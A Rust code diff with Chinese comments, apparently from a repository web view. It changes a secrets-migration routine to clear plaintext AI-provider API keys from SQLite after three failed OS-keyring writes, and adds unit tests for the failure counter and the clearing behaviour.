/// 达阈值后:清除 DB 明文 + error 告警(防明文长期滞留无加密 SQLite,强制用户重配走即时迁移)。
|
||||
/// 非阻断:整个迁移函数本身不因单条失败而 Err。
|
||||
pub async fn migrate_secrets_to_keyring(repo: &AiProviderRepo) -> anyhow::Result<usize> {
|
||||
let providers = repo.list_all().await?;
|
||||
let mut migrated = 0;
|
||||
@@ -200,16 +205,37 @@ pub async fn migrate_secrets_to_keyring(repo: &AiProviderRepo) -> anyhow::Result
|
||||
continue; // 已迁移或无密钥
|
||||
}
|
||||
if let Err(e) = set_provider_secret(&p.id, &p.api_key) {
|
||||
// 累计失败次数:达阈值(默认 3)升级告警,提示明文 api_key 长期滞留 SQLite(无加密)风险。
|
||||
// 计数仅告警用,不改兼容时序——仍保留明文下次重试,不强制迁移、不删明文。
|
||||
// 累计失败次数:未达阈值 → warn + 保留明文下次重试(给临时性 keyring 后端故障恢复机会);
|
||||
// 达阈值 → **安全兜底:清除 DB 明文 api_key + error 告警**。
|
||||
//
|
||||
// 安全考量:devflow.db 落在用户 AppData 目录无文件级加密,OS keyring 长期不可用时
|
||||
// 明文 api_key 无限滞留 = 持续暴露风险(P1)。项目无内置加密栈(无 aes/chacha/argon2 依赖),
|
||||
// 引入需解决密钥派生 + 密钥存储位置(又会回到 keyring,自相矛盾)——成本/收益不划算。
|
||||
// 故达阈值后选「清除明文 + 强制用户重配」:DB 不再保留明文,用户下次进设置保存时
|
||||
// 走 ai_save_provider 即时迁移路径(provider.rs set_provider_secret_async)重新写入 keyring。
|
||||
// 阈值 3 次已足够覆盖临时性故障(单次启动 keyring 后端未就绪/COM 未初始化等)。
|
||||
let n = record_migration_fail(&p.id);
|
||||
if n >= MIGRATION_FAIL_THRESHOLD {
|
||||
tracing::warn!(
|
||||
"[密钥迁移] provider {} keyring 迁移已连续失败 {} 次,明文 api_key 长期滞留 SQLite 文件(无加密)。\
|
||||
建议:1) 确认 OS 钥匙串可用(Win Credential Manager / macOS Keychain);\
|
||||
2) keyring 后端异常时排查对应平台后端;3) 必要时手动在设置中重新保存密钥触发写入",
|
||||
p.id, n
|
||||
let pid = p.id.clone();
|
||||
let pname = p.name.clone();
|
||||
// 清除 DB 明文:复用下方成功路径同款 clear + insert 模式。
|
||||
p.api_key.clear();
|
||||
if let Err(clear_err) = repo.insert(p).await {
|
||||
tracing::error!(
|
||||
"[密钥迁移] provider {} ({}) keyring 连续失败 {} 次后清除 DB 明文失败({}) —— \
|
||||
明文仍滞留 SQLite!请立即手动处理:进设置删除该 provider 或修复 OS 钥匙串后重启",
|
||||
pname, pid, n, clear_err
|
||||
);
|
||||
} else {
|
||||
tracing::error!(
|
||||
"[密钥迁移] provider {} ({}) keyring 连续失败 {} 次,已清除 DB 明文 api_key 防长期滞留。\
|
||||
该 provider 密钥需重新配置:进设置 → 编辑该提供商 → 重新填写 API Key 并保存\
|
||||
(走即时迁移写入系统钥匙串)。失败原因: {}",
|
||||
pname, pid, n, e
|
||||
);
|
||||
}
|
||||
// 已清除明文 → 不再计入「待迁移」,清零失败计数(下次若重新出现明文从 1 起算)。
|
||||
clear_migration_failcount(&pid);
|
||||
} else {
|
||||
tracing::warn!(
|
||||
"[密钥迁移] keyring 迁移失败 {} (累计 {}/{},保留明文下次重试): {}",
|
||||
@@ -350,4 +376,188 @@ mod tests {
|
||||
assert!(delete_provider_secret(&id).is_ok());
|
||||
assert_eq!(get_provider_secret(&id), None, "删除后应读不到");
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// failcount sidecar 逻辑测试 + 迁移达阈值后清明文(DB 安全保证)测试
|
||||
// ============================================================
|
||||
//
|
||||
// 涉及 cwd(failcount_path 读 current_dir)的测试用全局 Mutex 串行化,
|
||||
// 避免并发测试互相污染 sidecar 文件。不引入 serial_test 依赖(零新依赖)。
|
||||
use std::sync::Mutex as StdMutex;
|
||||
static CWD_GUARD: StdMutex<()> = StdMutex::new(());
|
||||
|
||||
/// RAII 守卫:持有全局锁 + 切到唯一临时 cwd,Drop 时恢复原 cwd 并清理临时目录。
|
||||
/// 即使持锁期间 panic 也能恢复(PoisonError 用 into_inner 兜底)。
|
||||
/// 用纳秒戳造唯一临时目录,测后清理,不残留 sidecar 文件污染其他测试。
|
||||
struct IsolatedCwd {
|
||||
// 持有 MutexGuard 直到 IsolatedCwd drop → 跨整个测试作用域串行化 cwd 操作。
|
||||
// CWD_GUARD 是 static,guard 借用 'static,可存入 struct 字段。
|
||||
_guard: std::sync::MutexGuard<'static, ()>,
|
||||
orig: PathBuf,
|
||||
tmp: PathBuf,
|
||||
}
|
||||
impl IsolatedCwd {
|
||||
fn new() -> Self {
|
||||
let guard = CWD_GUARD.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let orig = std::env::current_dir().expect("读 cwd");
|
||||
let nano = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_nanos();
|
||||
let tmp = std::env::temp_dir().join(format!("df-secret-test-{}", nano));
|
||||
std::fs::create_dir_all(&tmp).expect("建临时目录");
|
||||
std::env::set_current_dir(&tmp).expect("切到临时 cwd");
|
||||
IsolatedCwd { _guard: guard, orig, tmp }
|
||||
}
|
||||
}
|
||||
impl Drop for IsolatedCwd {
|
||||
fn drop(&mut self) {
|
||||
let _ = std::env::set_current_dir(&self.orig);
|
||||
let _ = std::fs::remove_dir_all(&self.tmp);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn failcount_read_write_record_clear_roundtrip() {
|
||||
let _cwd = IsolatedCwd::new();
|
||||
// 空文件 → 空 map
|
||||
assert!(read_failcounts().is_empty());
|
||||
// record 累加
|
||||
assert_eq!(record_migration_fail("p1"), 1);
|
||||
assert_eq!(record_migration_fail("p1"), 2);
|
||||
assert_eq!(record_migration_fail("p2"), 1);
|
||||
let map = read_failcounts();
|
||||
assert_eq!(map.get("p1"), Some(&2));
|
||||
assert_eq!(map.get("p2"), Some(&1));
|
||||
// clear 清零指定 id,不影响其他
|
||||
clear_migration_failcount("p1");
|
||||
let map = read_failcounts();
|
||||
assert!(!map.contains_key("p1"), "clear 后 p1 应不存在");
|
||||
assert_eq!(map.get("p2"), Some(&1), "p2 不受影响");
|
||||
// clear 不存在的 id → 无副作用
|
||||
clear_migration_failcount("nope");
|
||||
assert_eq!(read_failcounts().get("p2"), Some(&1));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn failcount_threshold_constant_is_3() {
|
||||
// 锁定阈值常量值(测试依赖此值构造「阈值-1」预置场景)。若将来调整需同步更新测试。
|
||||
assert_eq!(MIGRATION_FAIL_THRESHOLD, 3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn failcount_persists_across_reads() {
|
||||
let _cwd = IsolatedCwd::new();
|
||||
// 验证 sidecar 真落盘(跨 read 实例持久化)——这是「跨启动累计失败」的语义基础。
|
||||
record_migration_fail("pp");
|
||||
record_migration_fail("pp");
|
||||
// 模拟「重启」:重新读一次(新 HashMap 实例),计数应保留
|
||||
assert_eq!(read_failcounts().get("pp"), Some(&2));
|
||||
}
|
||||
|
||||
/// **核心安全保证**:迁移函数跑完后,DB 中 provider 的明文 api_key 必须被清除。
|
||||
///
|
||||
/// 覆盖两条路径(都断言同一不变量):
|
||||
/// - keyring 可用 → 走迁移成功路径,api_key.clear() + insert
|
||||
/// - keyring 不可用 → 走失败路径:
|
||||
/// · 预置 failcount 到 THRESHOLD-1(=2),本次失败恰好达阈值 → 清明文分支
|
||||
/// · 若 keyring 在 CI 上恰好成功,则走成功路径,断言同样成立
|
||||
///
|
||||
/// 无论哪条路径,DB api_key 最终必为空 = 安全保证(P1:不保留明文)。
|
||||
#[tokio::test]
|
||||
async fn migrate_clears_db_plaintext_after_threshold() {
|
||||
use crate::crud::AiProviderRepo;
|
||||
use crate::db::Database;
|
||||
let db = Database::open_in_memory().await.expect("open_in_memory");
|
||||
let repo = AiProviderRepo::new(&db);
|
||||
|
||||
// 构造带明文 api_key 的 provider。id 用唯一纳秒戳避与 keyring 真实 provider 冲突。
|
||||
let nano = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_nanos();
|
||||
let pid = format!("df-migrate-test-{}", nano);
|
||||
let rec = AiProviderRecord {
|
||||
id: pid.clone(), name: "迁移测试".into(), provider_type: "openai_compat".into(),
|
||||
api_key: "sk-plaintext-secret".into(), base_url: "https://x".into(),
|
||||
default_model: "m".into(), models: None, model_configs: Vec::new(), is_default: false,
|
||||
config: None, created_at: "0".into(), updated_at: "0".into(),
|
||||
enabled: true, weight: 50,
|
||||
};
|
||||
repo.insert(rec).await.expect("insert provider");
|
||||
|
||||
// 关键:迁移函数内部读 sidecar(failcount_path 用 cwd),所以整个测试逻辑必须
|
||||
// 在临时 cwd 下执行(IsolatedCwd 存活期间 + async 迁移在同一作用域)。
|
||||
let _cwd = IsolatedCwd::new();
|
||||
|
||||
// 预置 failcount 到 THRESHOLD-1(=2),使本次失败恰好达阈值触发清除分支。
|
||||
// (若 keyring 在此 CI 环境恰好可用,迁移直接成功清明文,断言同样成立。)
|
||||
let mut m = std::collections::HashMap::new();
|
||||
m.insert(pid.clone(), MIGRATION_FAIL_THRESHOLD - 1);
|
||||
write_failcounts(&m);
|
||||
assert_eq!(
|
||||
read_failcounts().get(&pid),
|
||||
Some(&(MIGRATION_FAIL_THRESHOLD - 1)),
|
||||
"预置 failcount 应写入"
|
||||
);
|
||||
|
||||
// 跑迁移(非阻断,内部已处理失败)。
|
||||
let _ = migrate_secrets_to_keyring(&repo).await;
|
||||
|
||||
// 核心断言:无论 keyring 成败,迁移后 DB 不应保留明文 api_key。
|
||||
let got = repo.get_by_id(&pid).await.expect("get").expect("row exists");
|
||||
assert!(
|
||||
got.api_key.is_empty(),
|
||||
"[P1 安全] 迁移后 DB api_key 必须为空(成功迁移清空 / 失败达阈值清明文),\
|
||||
实际残留: {:?}。provider={}",
|
||||
got.api_key, pid
|
||||
);
|
||||
|
||||
// 测后清理 keyring(若迁移成功写入了测试 provider 的密钥)
|
||||
let _ = delete_provider_secret(&pid);
|
||||
}
|
||||
|
||||
/// 阈值前(keyring 失败 + 未达阈值):计数递增但保留明文下次重试。
|
||||
/// 此测试只在 keyring 实际失败时验证「保留明文」分支;keyring 可用时跳过(不算失败)。
|
||||
/// 用 cfg-gate 避 CI 不可控 keyring 后端导致断言不稳。
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
#[tokio::test]
|
||||
async fn migrate_keeps_plaintext_below_threshold_when_keyring_fails() {
|
||||
use crate::crud::AiProviderRepo;
|
||||
use crate::db::Database;
|
||||
let db = Database::open_in_memory().await.expect("open_in_memory");
|
||||
let repo = AiProviderRepo::new(&db);
|
||||
|
||||
let nano = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_nanos();
|
||||
// 用极长 id 让 Entry::new 在多数平台失败(keyring 后端对超长 username 行为不一,常报错)。
|
||||
// 若恰好成功则视为 keyring 可用,跳过断言(不算回归)。
|
||||
let pid = format!("df-migrate-fail-{}-{}", nano, "x".repeat(200));
|
||||
let rec = AiProviderRecord {
|
||||
id: pid.clone(), name: "阈值前保留".into(), provider_type: "openai_compat".into(),
|
||||
api_key: "sk-keep-me".into(), base_url: "https://x".into(),
|
||||
default_model: "m".into(), models: None, model_configs: Vec::new(), is_default: false,
|
||||
config: None, created_at: "0".into(), updated_at: "0".into(),
|
||||
enabled: true, weight: 50,
|
||||
};
|
||||
repo.insert(rec).await.expect("insert");
|
||||
|
||||
// 隔离 cwd + failcount 从 0 开始(无预置)。迁移函数内部读 sidecar 用 cwd,必须同作用域。
|
||||
let _cwd = IsolatedCwd::new();
|
||||
let _ = migrate_secrets_to_keyring(&repo).await;
|
||||
|
||||
let got = repo.get_by_id(&pid).await.expect("get").expect("row exists");
|
||||
// 仅在 keyring 真的失败(Entry::new/set_password 报错)时才能验证「保留明文」。
|
||||
// keyring 可用时此测试无意义(走成功清明文),跳过。
|
||||
if get_provider_secret(&pid).is_none() {
|
||||
// keyring 无值 = 本次迁移失败 → 阈值前(首次失败,count=1<3)应保留明文
|
||||
assert_eq!(
|
||||
got.api_key, "sk-keep-me",
|
||||
"[阈值前] 首次失败未达阈值,应保留明文下次重试(兼容临时性故障)"
|
||||
);
|
||||
}
|
||||
let _ = delete_provider_secret(&pid);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user